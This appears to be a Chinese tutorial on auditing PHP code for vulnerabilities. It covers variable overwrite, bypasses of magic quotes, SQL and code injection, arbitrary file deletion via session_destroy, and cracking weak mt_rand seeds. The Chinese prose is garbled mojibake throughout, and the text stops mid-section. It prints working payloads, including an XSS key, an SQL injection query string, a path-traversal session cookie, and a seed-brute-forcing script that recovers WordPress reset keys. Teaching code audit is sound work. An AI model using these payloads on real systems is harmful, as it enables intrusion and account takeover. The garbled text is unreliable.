å®¡è®¡æŠ€æœ¯ç”¨çš„最多也是目å‰çš„主力方法:é™æ€åˆ†æžï¼Œä¸»è¦ä¹Ÿæ˜¯é€šè¿‡æŸ¥æ‰¾å®¹æ˜“导致安全æ¼æ´žçš„å±é™©å‡½æ•°ï¼Œå¸¸ç”¨çš„如grep,findstrç­‰æœç´¢å·¥å…·ï¼Œå¾ˆå¤šè‡ªåŠ¨åŒ–工具也是使用正则æ¥æœç´¢è¿™äº›å‡½æ•°ã€‚下é¢åˆ—举一些常用的函数,也就是下文说的字典(暂略)。但是目å‰åŸºæœ¬å·²æœ‰çš„字典很难找到æ¼æ´žï¼Œæ‰€ä»¥æˆ‘们需è¦æ‰©å±•æˆ‘们的字典,这些字典也是本文主è¦æŽ¢è®¨çš„。 + + +其他的方法有:通过修改PHPæºä»£ç æ¥åˆ†æžå˜é‡æµç¨‹ï¼Œæˆ–者hookå±é™©çš„函数æ¥å®žçŽ°å¯¹åº”用程åºä»£ç çš„审核,但是这些也ä¾é äº†æˆ‘们上é¢æ到的字典。 + + +====== PHP版本与应用代ç å®¡è®¡ ====== +到目å‰ä¸ºæ­¢ï¼ŒPHP主è¦æœ‰3个版本:php4ã€php5ã€php6,使用比例大致如下: + + +主è¦Php版本 +php4 +68% +2000-2007,No security fixes after 2008/08,最终版本是php4.4.9 +php5 +32% +2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!) +php6 +N/A +ç›®å‰è¿˜åœ¨æµ‹è¯•é˜¶æ®µï¼Œå˜åŒ–很多åšäº†å¤§é‡çš„修改,å–消了很多安全选项如magic_quotes_gpc(这个ä¸æ˜¯ä»Šå¤©è®¨è®ºçš„范围) +由于php缺少自动å‡çº§çš„机制,导致目å‰PHP版本并存,也导致很多存在æ¼æ´žæ²¡æœ‰è¢«ä¿®è¡¥ã€‚这些有æ¼æ´žçš„函数也是我们进行WEB应用程åºä»£ç å®¡è®¡çš„é‡ç‚¹å¯¹è±¡ï¼Œä¹Ÿæ˜¯æˆ‘们字典é‡è¦æ¥æºã€‚ + + +====== 其他的因素与应用代ç å®¡è®¡ ====== +很多代ç å®¡è®¡è€…拿到代ç å°±çœ‹ï¼Œä»–们忽视了“安全是一个整体â€ï¼Œä»£ç å®‰å…¨å¾ˆå¤šçš„其他因素有关系,比如上é¢æˆ‘们谈到的PHP版本的问题,比较é‡è¦çš„还有æ“作系统类型(主è¦æ˜¯ä¸¤å¤§é˜µè¥win/`*`nix),WEBæœåŠ¡ç«¯è½¯ä»¶ï¼ˆä¸»è¦æ˜¯iis/apache两大类型)等因素。这是由于ä¸åŒçš„系统ä¸åŒçš„WEB SERVER有ç€ä¸åŒçš„安全特点或特性,下文有些部分会涉åŠã€‚ + + +所以我们在åšæŸä¸ªå…¬å¸WEB应用代ç å®¡è®¡æ—¶ï¼Œåº”该了解他们使用的系统,WEBæœåŠ¡ç«¯è½¯ä»¶ï¼ŒPHP版本等信æ¯ã€‚ + + +====== 扩展我们的字典 ====== +下é¢å°†è¯¦ç»†ä»‹ç»ä¸€äº›éžä¼ ç»ŸPHP应用代ç å®¡è®¡ä¸€äº›æ¼æ´žç±»åž‹å’Œåˆ©ç”¨æŠ€å·§ã€‚ + +===== å˜é‡æœ¬èº«çš„key ===== +说到å˜é‡çš„æ交很多人åªæ˜¯çœ‹åˆ°äº†GET/POST/COOKIEç­‰æ交的å˜é‡çš„值,但是忘记了有的程åºæŠŠå˜é‡æœ¬èº«çš„key也当å˜é‡æå–给函数处ç†ã€‚ + + +<code> +<?php +//key.php?aaaa'aaa=1&bb'b=2 +//print_R($_GET); + foreach ($_GET AS $key => $value) +{ + print $key."\n"; +} +?> + +</code> + +上é¢çš„代ç å°±æå–了å˜é‡æœ¬èº«çš„key显示出æ¥ï¼Œå•çº¯å¯¹äºŽä¸Šé¢çš„代ç ï¼Œå¦‚果我们æ交URL: + + +<code> +key.php?<script>alert(1);</script>=1&bbb=2 + +</code> + +那么就导致一个xssçš„æ¼æ´žï¼Œæ‰©å±•ä¸€ä¸‹å¦‚果这个keyæ交给include()等函数或者sql查询呢?:) + + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +å®¡è®¡ç­–ç•¥ï¼šé€šè¯»ä»£ç  + +===== å˜é‡è¦†ç›– ===== +很多的æ¼æ´žæŸ¥æ‰¾è€…都知é“extract()这个函数在指定å‚数为EXTR_OVERWRITE或者没有指定函数å¯ä»¥å¯¼è‡´å˜é‡è¦†ç›–,但是还有很多其他情况导致å˜é‡è¦†ç›–的如: + +==== é历åˆå§‹åŒ–å˜é‡ ==== +请看如下代ç ï¼š + + +<code> +<?php +//var.php?a=fuck +$a='hi'; +foreach($_GET as $key => $value) { + $$key = $value; +} +print $a; +?> + +</code> + +很多的WEB应用都使用上é¢çš„æ–¹å¼ï¼ˆæ³¨æ„循环ä¸ä¸€å®šæ˜¯foreach),如Discuz!4.1çš„WAP部分的代ç ï¼š + + +<code> +$chs = ''; +if($_POST && $charset != 'utf-8') { + $chs = new Chinese('UTF-8', $charset); + foreach($_POST as $key => $value) { + $$key = $chs->Convert($value); +} +unset($chs); + +</code> + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +å®¡è®¡ç­–ç•¥ï¼šé€šè¯»ä»£ç  + +==== parse_str()å˜é‡è¦†ç›–æ¼æ´ž ==== +<code> +//var.php?var=new +$var = 'init'; +parse_str($_SERVER['QUERY_STRING']); +print $var; + +</code> + +该函数一样å¯ä»¥è¦†ç›–数组å˜é‡ï¼Œä¸Šé¢çš„代ç æ˜¯é€šè¿‡$`_`SERVER['QUERY_STRING']æ¥æå–å˜é‡çš„,对于指定了å˜é‡å的我们å¯ä»¥é€šè¿‡æ³¨å°„“=â€æ¥å®žçŽ°è¦†ç›–其他的å˜é‡ï¼š + + +<code> +//var.php?var=1&a[1]=var1%3d222 +$var1 = 'init'; +parse_str($a[$_GET['var']]); +print $var1; + +</code> + +上é¢çš„代ç é€šè¿‡æ交$varæ¥å®žçŽ°å¯¹$var1的覆盖。 + + +æ¼æ´žå®¡è®¡ç­–略(parse_str) +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +审计策略:查找字符parse_str + +æ¼æ´žå®¡è®¡ç­–略(mb_parse_str) +PHP版本è¦æ±‚:php4<4.4.7 php5<5.2.2 + +系统è¦æ±‚:无 + +审计策略:查找字符mb_parse_str + +==== import_request_variables()å˜é‡è¦†ç›–æ¼æ´ž ==== +<code> +//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1 +echo 'GLOBALS '.(int)ini_get("register_globals")."n"; +import_request_variables('GPC'); +if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!'); +echo 'Hello admin!'; + +</code> + +æ¼æ´žå®¡è®¡ç­–略(import_request_variables) +PHP版本è¦æ±‚:php4<4.4.1 php5<5.2.2 + +系统è¦æ±‚:无 + +审计策略:查找字符import_request_variables + +==== PHP5 Globals ==== +从严格æ„义上æ¥è¯´è¿™ä¸ªä¸å¯ä»¥ç®—是PHPçš„æ¼æ´žï¼Œåªèƒ½ç®—是一个特性,测试代ç ï¼š + + +<code> +<? +// register_globals =ON +//foo.php?GLOBALS[foobar]=HELLO +php echo $foobar; +?> + +</code> + +但是很多的程åºæ²¡æœ‰è€ƒè™‘到这点,请看如下代ç ï¼š + + +<code> +//为了安全å–消全局å˜é‡ +//var.php?GLOBALS[a]=aaaa&b=111 +if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k}); +print $a; +print $_GET[b]; + +</code> + +如果熟悉WEB2.0的攻击的åŒå­¦ï¼Œå¾ˆå®¹æ˜“想到上é¢çš„代ç æˆ‘们å¯ä»¥åˆ©ç”¨è¿™ä¸ªç‰¹æ€§è¿›è¡Œcrsf攻击。 + + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +å®¡è®¡ç­–ç•¥ï¼šé€šè¯»ä»£ç  + + + +===== magic_quotes_gpc与代ç å®‰å…¨ ===== +==== 什么是magic_quotes_gpc ==== +当打开时,所有的 '(å•å¼•å·ï¼‰ï¼Œ"(åŒå¼•å·ï¼‰ï¼Œ\(å斜线)和 NULL 字符都会被自动加上一个å斜线进行转义。还有很多函数有类似的作用 如:addslashes()ã€mysql_escape_string()ã€mysql_real_escape_string()等,å¦å¤–还有parse_str()åŽçš„å˜é‡ä¹Ÿå—magic_quotes_gpcçš„å½±å“。目å‰å¤§å¤šæ•°çš„主机都打开了这个选项,并且很多程åºå‘˜ä¹Ÿæ³¨æ„使用上é¢é‚£äº›å‡½æ•°åŽ»è¿‡æ»¤å˜é‡ï¼Œè¿™çœ‹ä¸ŠåŽ»å¾ˆå®‰å…¨ã€‚很多æ¼æ´žæŸ¥æ‰¾è€…或者工具é‡åˆ°äº›å‡½æ•°è¿‡æ»¤åŽçš„å˜é‡ç›´æŽ¥å°±æ”¾å¼ƒï¼Œä½†æ˜¯å°±åœ¨ä»–们放弃的åŒæ—¶ä¹Ÿæ”¾è¿‡å¾ˆå¤šè‡´å‘½çš„安全æ¼æ´žã€‚ :) + +==== 哪些地方没有魔术引å·çš„ä¿æŠ¤ ==== + ;$`_`SERVERå˜é‡ : PHP5çš„$`_`SERVERå˜é‡ç¼ºå°‘magic_quotes_gpcçš„ä¿æŠ¤ï¼Œå¯¼è‡´è¿‘å¹´æ¥X-Forwarded-Forçš„æ¼æ´žçŒ›æš´ï¼Œæ‰€ä»¥å¾ˆå¤šç¨‹åºå‘˜è€ƒè™‘过滤X-Forwarded-For,但是其他的å˜é‡å‘¢ï¼Ÿ +æ¼æ´žå®¡è®¡ç­–ç•¥($`_`SERVERå˜é‡) +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +审计策略:查找字符`_`SERVER + + ;getenv()得到的å˜é‡ï¼ˆä½¿ç”¨ç±»ä¼¼$`_`SERVERå˜é‡ï¼‰ : æ¼æ´žå®¡è®¡ç­–ç•¥(getenv()) +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +审计策略:查找字符getenv + + ;$HTTP_RAW_POST_DATA与PHP输入ã€è¾“å‡ºæµ : 主è¦åº”用与soap/xmlrpc/webpublish功能里,请看如下代ç ï¼š +<code> +if ( !isset( $HTTP_RAW_POST_DATA ) ) { + $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' ); +} +if ( isset($HTTP_RAW_POST_DATA) ) + $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA); + +</code> + +æ¼æ´žå®¡è®¡ç­–略(数æ®æµï¼‰ +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +审计策略:查找字符HTTP_RAW_POST_DATA或者php://input + + ;æ•°æ®åº“æ“作容易忘记'的地方如:in()/limit/order by/group by : 如Discuz!<5.0çš„pm.php: +<code> +if(is_array($msgtobuddys)) { + $msgto = array_merge($msgtobuddys, array($msgtoid)); + ...... +foreach($msgto as $uid) { + $uids .= $comma.$uid; + $comma = ','; +} +...... +$query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m + LEFT JOIN {$tablepre}memberfields mf USING(uid) + WHERE m.uid IN ($uids)"); + +</code> + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +审计策略:查找数æ®åº“æ“作字符(select,update,insert等等) + + +==== å˜é‡çš„ç¼–ç ä¸Žè§£ç  ==== +一个WEB程åºå¾ˆå¤šåŠŸèƒ½çš„实现都需è¦å˜é‡çš„ç¼–ç è§£ç ï¼Œè€Œä¸”就在这一转一解的传递过程中就悄悄的绕过你的过滤的安全防线。 + + +这个类型的主è¦å‡½æ•°æœ‰ï¼š + + + - stripslashes() 这个其实就是一个decode-addslashes() + - 其他字符串转æ¢å‡½æ•°ï¼š + + +Tabulka: **字符串转æ¢å‡½æ•°** + +|base64_decode|对使用 MIME base64 ç¼–ç çš„æ•°æ®è¿›è¡Œè§£ç | +|base64_encode|使用 MIME base64 对数æ®è¿›è¡Œç¼–ç | +|rawurldecode|对已编ç çš„ URL 字符串进行解ç | +|rawurlencode|按照 RFC 1738 对 URL 进行编ç | +|urldecode|解ç å·²ç¼–ç çš„ URL 字符串| +|urlencode|ç¼–ç  URL 字符串| +å¦å¤–一个 unserialize/serialize + + - 字符集函数(GKB,UTF7/8...)如iconv()/mb_convert_encoding()ç­‰ + +ç›®å‰å¾ˆå¤šæ¼æ´žæŒ–掘者开始注æ„这一类型的æ¼æ´žäº†ï¼Œå¦‚典型的urldecode: + +<code> +$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'"; + +</code> + +当magic_quotes_gpc=on时,我们æ交?id=%2527,得到sql语å¥ä¸ºï¼š + +<code> +SELECT * FROM article WHERE articleid=''' + +</code> + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +审计策略:查找对应的编ç å‡½æ•° + +==== 二次攻击 ==== +<note warning> +原文有å‚è§ http://bbs.phpchina.com/attachment.php?aid=22294 的链接,已失效。 + +</note> + - æ•°æ®åº“出æ¥çš„å˜é‡æ²¡æœ‰è¿›è¡Œè¿‡æ»¤ + - æ•°æ®åº“的转义符å·ï¼š +mysql/oracle转义符å·åŒæ ·æ˜¯\(我们æ交'通过魔术引å·å˜åŒ–为\',当我们update进入数æ®åº“时,通过转义å˜ä¸º') +mssql的转义字符为'(所以我们æ交'通过魔术引å·å˜åŒ–为\',mssql会把它当为一个字符串直接处ç†ï¼Œæ‰€ä»¥é­”术引å·å¯¹äºŽmssql的注射没有任何æ„义) +从这里我们å¯ä»¥æ€è€ƒå¾—到一个结论:一切进入函数的å˜é‡éƒ½æ˜¯æœ‰å®³çš„,å¦å¤–利用二次攻击我们å¯ä»¥å®žçŽ°ä¸€ä¸ªwebrootkit,把我们的æ¶æ„构造直接放到数æ®åº“里。我们应当把这样的代ç çœ‹æˆä¸€ä¸ªvul? + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +å®¡è®¡ç­–ç•¥ï¼šé€šè¯»ä»£ç  + +==== 魔术引å·å¸¦æ¥çš„新的安全问题 ==== +首先我们看下魔术引å·çš„处ç†æœºåˆ¶ï¼š + + +<code> +[\-->\\,'-->\',"-->\",null-->\0] + +</code> + +这给我们引进了一个éžå¸¸æœ‰ç”¨çš„符å·â€œ\â€ï¼Œâ€œ\â€ç¬¦å·ä¸ä»…仅是转义符å·ï¼Œåœ¨WIN系统下也是目录转跳的符å·ã€‚这个特点å¯èƒ½å¯¼è‡´php应用程åºé‡Œäº§ç”Ÿéžå¸¸æœ‰æ„æ€çš„æ¼æ´žï¼š + + + - 得到原字符(',\,",null]) +<code> +$order_sn=substr($_GET['order_sn'], 1); + +//æ交 ' +//魔术引å·å¤„ç† \' +//substr ' + +$sql = "SELECT order_id, order_status, shipping_status, pay_status, ". + " shipping_time, shipping_id, invoice_no, user_id ". + " FROM " . $ecs->table('order_info'). + " WHERE order_sn = '$order_sn' LIMIT 1"; + +</code> + + - 得到“\â€å­—符 + +<code> +$order_sn=substr($_GET['order_sn'], 0,1); + +//æ交 ' +//魔术引å·å¤„ç† \' +//substr \ + +$sql = "SELECT order_id, order_status, shipping_status, pay_status, ". + " shipping_time, shipping_id, invoice_no, user_id ". + " FROM " . $ecs->table('order_info'). + " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'"; + +</code> + +æ交内容: + +<code> +?order_sn='&order_tn=%20and%201=1/* +</code> + +执行的SQL语å¥ä¸º + +<code> +SELECT order_id, order_status, shipping_status, pay_status, shipping_time, +shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and +order_tn=' and 1=1/*' + +</code> + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +审计策略:查找字符串处ç†å‡½æ•°å¦‚substræˆ–è€…é€šè¯»ä»£ç  + +==== å˜é‡keyä¸Žé­”æœ¯å¼•å· ==== +我们最在这一节的开头就æ到了å˜é‡key,PHP的魔术引å·å¯¹å®ƒæœ‰ä»€ä¹ˆå½±å“呢? + + +<code> +<?php +//key.php?aaaa'aaa=1&bb'b=2 +//print_R($_GET); + foreach ($_GET AS $key => $value) + { + print $key."\n"; + } +?> + +</code> + + - 当magic_quotes_gpc = On时,在php5.24下测试显示: + +<code> +aaaa\'aaa +bb\'b + +</code> + +从上é¢ç»“æžœå¯ä»¥çœ‹å‡ºæ¥ï¼Œåœ¨è®¾ç½®äº†magic_quotes_gpc = On下,å˜é‡keyå—魔术引å·å½±å“。但是在php4å’Œphp<5.2.1的版本中,ä¸å¤„ç†æ•°ç»„第一维å˜é‡çš„key,测试代ç å¦‚下: + +<code> +<?php +//key.php?aaaa'aaa[bb']=1 +print_R($_GET); +?> + +</code> + +结果显示: + +<code> +Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) ) + +</code> + +数组第一维å˜é‡çš„keyä¸å—魔术引å·çš„å½±å“。 + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:php4å’Œphp<5.2.1 + +系统è¦æ±‚:无 + +å®¡è®¡ç­–ç•¥ï¼šé€šè¯»ä»£ç  + + - 当magic_quotes_gpc = Off时,在php5.24下测试显示: + +<code> +aaaa'aaa +bb'b + +</code> + +对于magic_quotes_gpc = Off时所有的å˜é‡éƒ½æ˜¯ä¸å®‰å…¨çš„,考虑到这个,很多程åºéƒ½é€šè¿‡addslashes等函数æ¥å®žçŽ°é­”术引å·å¯¹å˜é‡çš„过滤,示例代ç å¦‚下: + +<code> +<?php +//keyvul.php?aaa'aa=1' +//magic_quotes_gpc = Off + if (!get_magic_quotes_gpc()) +{ + $_GET = addslashes_array($_GET); +} + +function addslashes_array($value) +{ + return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value); +} +print_R($_GET); +foreach ($_GET AS $key => $value) +{ + print $key; +} +?> + +</code> + +以上的代ç çœ‹ä¸ŠåŽ»å¾ˆå®Œç¾Žï¼Œä½†æ˜¯ä»–这个代ç é‡Œaddslashes($value)åªå¤„ç†äº†å˜é‡çš„具体的值,但是没有处ç†å˜é‡æœ¬èº«çš„key,上é¢çš„代ç æ˜¾ç¤ºç»“果如下: + +<code> +Array +( + [aaa'aa] => 1\' +) +aaa'aa + +</code> + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +å®¡è®¡ç­–ç•¥ï¼šé€šè¯»ä»£ç  + + + +===== 代ç æ³¨å°„ ===== +==== PHP中å¯èƒ½å¯¼è‡´ä»£ç æ³¨å°„的函数 ==== +很多人都知é“evalã€preg_replace+/eå¯ä»¥æ‰§è¡Œä»£ç ï¼Œä½†æ˜¯ä¸çŸ¥é“php还有很多的函数å¯ä»¥æ‰§è¡Œä»£ç å¦‚: + + +其他å¯æ‰§è¡Œä»£ç å‡½æ•° +assert() +call_user_func() +call_user_func_array() +create_function() +å˜é‡å‡½æ•° +这里我们看看最近出现的几个关于create_function()代ç æ‰§è¡Œæ¼æ´žçš„代ç ï¼š + + +<code> +<?php +//how to exp this code +$sort_by=$_GET['sort_by']; +$sorter='strnatcasecmp'; +$databases=array('test','test'); +$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]); +'; +usort($databases, create_function('$a, $b', $sort_function)); + +</code> + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +审计策略:查找对应函数(assert,call_user_func,call_user_func_array,create_function等) + +==== å˜é‡å‡½æ•°ä¸ŽåŒå¼•å· ==== +对于å•å¼•å·å’ŒåŒå¼•å·çš„区别,很多程åºå‘˜æ·±æœ‰ä½“会,示例代ç ï¼š + + +<code> +echo "$a\n"; +echo '$a\n'; + +</code> + +我们å†çœ‹å¦‚下代ç ï¼š + + +<code> +//how to exp this code +if($globals['bbc_email']){ + +$text = preg_replace( + array("/\[email=(.*?)\](.*?)\[\/email\]/ies", + "/\[email\](.*?)\[\/email\]/ies"), + array('check_email("$1", "$2")', + 'check_email("$1", "$1")'), $text); + +</code> + +å¦å¤–很多的应用程åºéƒ½æŠŠå˜é‡ç”¨""存放在缓存文件或者config或者data文件里,这样很容易被人注射å˜é‡å‡½æ•°ã€‚ + + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +å®¡è®¡ç­–ç•¥ï¼šé€šè¯»ä»£ç  + +===== PHP自身函数æ¼æ´žåŠç¼ºé™· ===== +==== PHP函数的溢出æ¼æ´ž ==== +大家还记得Stefan Esser大牛的Month of PHP Bugs(MOPBè§é™„录[2])项目么,其中比较有åçš„è¦ç®—是unserialize(),代ç å¦‚下: + + +<code> +unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']); + +</code> + +在以往的PHP版本里,很多函数都曾ç»å‡ºçŽ°è¿‡æº¢å‡ºæ¼æ´žï¼Œæ‰€ä»¥æˆ‘们在审计应用程åºæ¼æ´žçš„时候ä¸è¦å¿˜è®°äº†æµ‹è¯•ç›®æ ‡ä½¿ç”¨çš„PHP版本信æ¯ã€‚ + + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:对应fix的版本 + +系统è¦æ±‚:无 + +审计策略:查找对应函数å + +==== PHP函数的其他æ¼æ´ž ==== +Stefan Esser大牛å‘现的æ¼æ´žï¼šunset()--Zend_Hash_Del_Key_Or_Index Vulnerability + + +比如phpwind早期的serarch.php里的代ç ï¼š + + +<code> +unset($uids); +...... +$query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'"); +while($member=$db->fetch_array($query)){ + $uids .= $member['uid'].','; +} +$uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 '; +........ +$query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit"); + +</code> + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:php4<4.3 php5<5.14 + +系统è¦æ±‚:无 + +审计策略:查找unset + +==== session_destroy()删除文件æ¼æ´ž ==== +这个æ¼æ´žæ˜¯å‡ å¹´å‰æœ‹å‹saiyå‘现的 +测试PHP版本:5.1.2 + +,session_destroy()函数的功能是删除session文件,很多web应用程åºçš„logout的功能都直接调用这个函数删除session,但是这个函数在一些è€çš„版本中缺少过滤导致å¯ä»¥åˆ é™¤ä»»æ„文件。测试代ç å¦‚下: + + +<code> +<?php +//val.php +session_save_path('./'); +session_start(); +if($_GET['del']) { + session_unset(); + session_destroy(); +}else{ + $_SESSION['hei']=1; + echo(session_id()); + print_r($_SESSION); +} +?> + +</code> + +当我们æ交构造cookie:PHPSESSID=/../1.php,相当于unlink('sess`_`/../1.php')这样就通过注射../转跳目录删除任æ„文件了。很多著å的程åºæŸäº›ç‰ˆæœ¬éƒ½å—å½±å“如phpmyadmin,sablog,phpwind3等等。 + + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:具体ä¸è¯¦ + +系统è¦æ±‚:无 + +审计策略:查找session_destroy + +==== éšæœºå‡½æ•° ==== + - rand() VS mt_rand() + +<code> +//on windows +print mt_getrandmax(); //2147483647 +print getrandmax();// 32767 + +</code> + +å¯ä»¥çœ‹å‡ºrand()最大的éšæœºæ•°æ˜¯32767,这个很容易被我们暴力破解。 + +<code> +<?php +$a= md5(rand()); +for($i=0;$i<=32767;$i++){ + if(md5($i) ==$a ) { + print $i."-->ok!!<br>";exit; + }else { print $i."<br>";} +} +?> + +</code> + +当我们的程åºä½¿ç”¨rand处ç†session时,攻击者很容易暴力破解出你的session,但是对于mt_rand是很难å•çº¯çš„暴力的。 + +æ¼æ´žå®¡è®¡ç­–ç•¥ +PHP版本è¦æ±‚:无 + +系统è¦æ±‚:无 + +审计策略:查找rand + + - mt_srand()/srand()-weak seeding(by Stefan Esser) + +看php手册里的æ述: + +<code> +mt_srand +(PHP 3 >= 3.0.6, PHP 4, PHP 5) + +mt_srand -- 播下一个更好的éšæœºæ•°å‘生器ç§å­ +说明 +void mt_srand ( int seed ) + +</code> + +用 seed æ¥ç»™éšæœºæ•°å‘生器播ç§ã€‚从 PHP 4.2.0 版开始,seed å‚æ•°å˜ä¸ºå¯é€‰é¡¹ï¼Œå½“该项为空时,会被设为éšæ—¶æ•°ã€‚ + +ä¾‹å­ 1. mt_srand() 范例 + +<code> +<?php +// seed with microseconds +function make_seed() +{ + list($usec, $sec) = explode(' ', microtime()); + return (float) $sec + ((float) $usec * 100000); +} +mt_srand(make_seed()); +$randval = mt_rand(); +?> +</code> + +== Poznámka: == +自 PHP 4.2.0 起,ä¸å†éœ€è¦ç”¨ srand() 或 mt_srand() 函数给éšæœºæ•°å‘生器播ç§ï¼ŒçŽ°å·²è‡ªåŠ¨å®Œæˆã€‚ + +php从4.2.0开始实现了自动播ç§ï¼Œä½†æ˜¯ä¸ºäº†å…¼å®¹ï¼ŒåŽæ¥ä½¿ç”¨ç±»ä¼¼äºŽè¿™æ ·çš„代ç æ’­ç§ï¼š + +<code> +mt_srand ((double) microtime() * 1000000) + +</code> + +但是使用(double)microtime()`*`1000000类似的代ç seed是比较脆弱的: + +<code> +0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000 + +</code> + +那么很容易暴力破解,测试代ç å¦‚下: + +<code> +<?php +///////////////// +//>php rand.php +//828682 +//828682 +//////////////// +ini_set("max_execution_time",0); +$time=(double) microtime()* 1000000; +print $time."\n"; +mt_srand ($time); + +$search_id = mt_rand(); +$seed = search_seed($search_id); +print $seed; +function search_seed($rand_num) { +$max = 1000000; +for($seed=0;$seed<=$max;$seed++){ + mt_srand($seed); + $key = mt_rand(); + if($key==$rand_num) return $seed; +} +return false; +} +?> + +</code> + +从上é¢çš„代ç å®žçŽ°äº†å¯¹seed的破解,å¦å¤–æ ¹æ®Stefan Esser的分æžseed还根æ®è¿›ç¨‹å˜åŒ–而å˜åŒ–,æ¢å¥è¯æ¥è¯´åŒä¸€ä¸ªè¿›ç¨‹é‡Œçš„seed是相åŒçš„。 然åŽåŒä¸€ä¸ªseedæ¯æ¬¡mt_rand的值都是特定的。如下表: + +seed-A +seed-B +mt_rand-A-1 +mt_rand-B-1 +mt_rand-A-2 +mt_rand-B-2 +mt_rand-A-3 +mt_rand-B-3 +对于seed-A里mt_rand-1/2/3都是ä¸ç›¸ç­‰çš„,但是值都是特定的,也就是说当seed-A等于seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,这样我们åªè¦èƒ½å¤Ÿå¾—到seedå°±å¯ä»¥å¾—到æ¯æ¬¡mt_rand的值了。 + +对于5.2.6>php>4.2.0直接使用默认播ç§çš„程åºä¹Ÿæ˜¯ä¸å®‰å…¨çš„(很多的安全人员错误的以为这样就是安全的),这个è¦åˆ†ä¸¤ç§æƒ…况æ¥åˆ†æžï¼š + +第一ç§ï¼š'Cross Application Attacks',这个æ€è·¯åœ¨Stefan Esser文章里有æ到,主è¦æ˜¯åˆ©ç”¨å…¶ä»–程åºå®šä¹‰çš„æ’­ç§ï¼ˆå¦‚mt_srand ((double) microtime()`*` 1000000)),phpbb+wordpree组åˆå°±å­˜åœ¨è¿™æ ·çš„å±é™©. + +第二ç§ï¼š5.2.6>php>4.2.0默认播ç§çš„算法也ä¸æ˜¯å¾ˆå¼ºæ‚,这是Stefan Esser的文章里的æ述: + +The Implementation<br>When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed. + +在32ä½ç³»ç»Ÿä¸Šé»˜è®¤çš„æ’­ç§çš„ç§å­ä¸ºæœ€å¤§å€¼æ˜¯`2^32`,这样我们循环最多`2^32`次就å¯ä»¥ç ´è§£seed。而在PHP 4å’ŒPHP 5 <= 5.2.0 的算法有个bug:奇数和å¶æ•°çš„æ’­ç§æ˜¯ä¸€æ ·çš„(详è§é™„录[3]),测试代ç å¦‚下: + +<code> +<?php +mt_srand(4); +$a = mt_rand(); +mt_srand(5); +$b = mt_rand(); +print $a."\n".$b; +?> + +</code> + +通过上é¢çš„代ç å‘现$a==$b,所以我们循环的次数为2^32/2=2^31次。我们看如下代ç ï¼š + +<code> +<?php +//base on http://www.milw0rm.com/exploits/6421 +//test on php 5.2.0 + +define('BUGGY', 1); //上é¢ä»£ç $a==$b时候定义BUGGY=1 + +$key = wp_generate_password(20, false); +echo $key."\n"; +$seed = getseed($key); +print $seed."\n"; + +mt_srand($seed); +$pass = wp_generate_password(20, false); +echo $pass."\n"; + +function wp_generate_password($length = 12, $special_chars = true) { + $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; + if ( $special_chars ) + $chars .= '!@#$%^&*()'; + + $password = ''; + for ( $i = 0; $i < $length; $i++ ) + $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); + return $password; +} + +function getseed($resetkey) { + $max = pow(2,(32-BUGGY)); + for($x=0;$x<=$max;$x++) { + $seed = BUGGY ? ($x << 1) + 1 : $x; + mt_srand($seed); + $testkey = wp_generate_password(20,false); + if($testkey==$resetkey) { echo "o\n"; return $seed; } + + if(!($x % 10000)) echo $x / 10000; + } + echo "\n"; + return false; +} +?> + +</code> + +è¿è¡Œç»“果如下: + +<code> +php5>php rand.php 